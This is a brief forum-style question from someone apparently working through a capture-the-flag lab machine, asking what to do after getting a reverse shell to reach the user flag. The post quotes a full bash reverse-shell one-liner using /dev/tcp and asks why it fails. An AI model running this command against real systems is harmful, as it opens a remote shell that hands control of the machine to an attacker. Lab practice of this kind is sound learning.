Hi, I'm stuck in getting the user's flag with the laboratory box, I got a reverse shell now, but I don't know the next step, any tips? and when I tried using the bash reverse shell what likes "bash -c '0<&60-;exec 60<>/dev/tcp/host/port;sh <&60 >&60 2>&60' 2> /dev/null", It doesn't work, do you know why?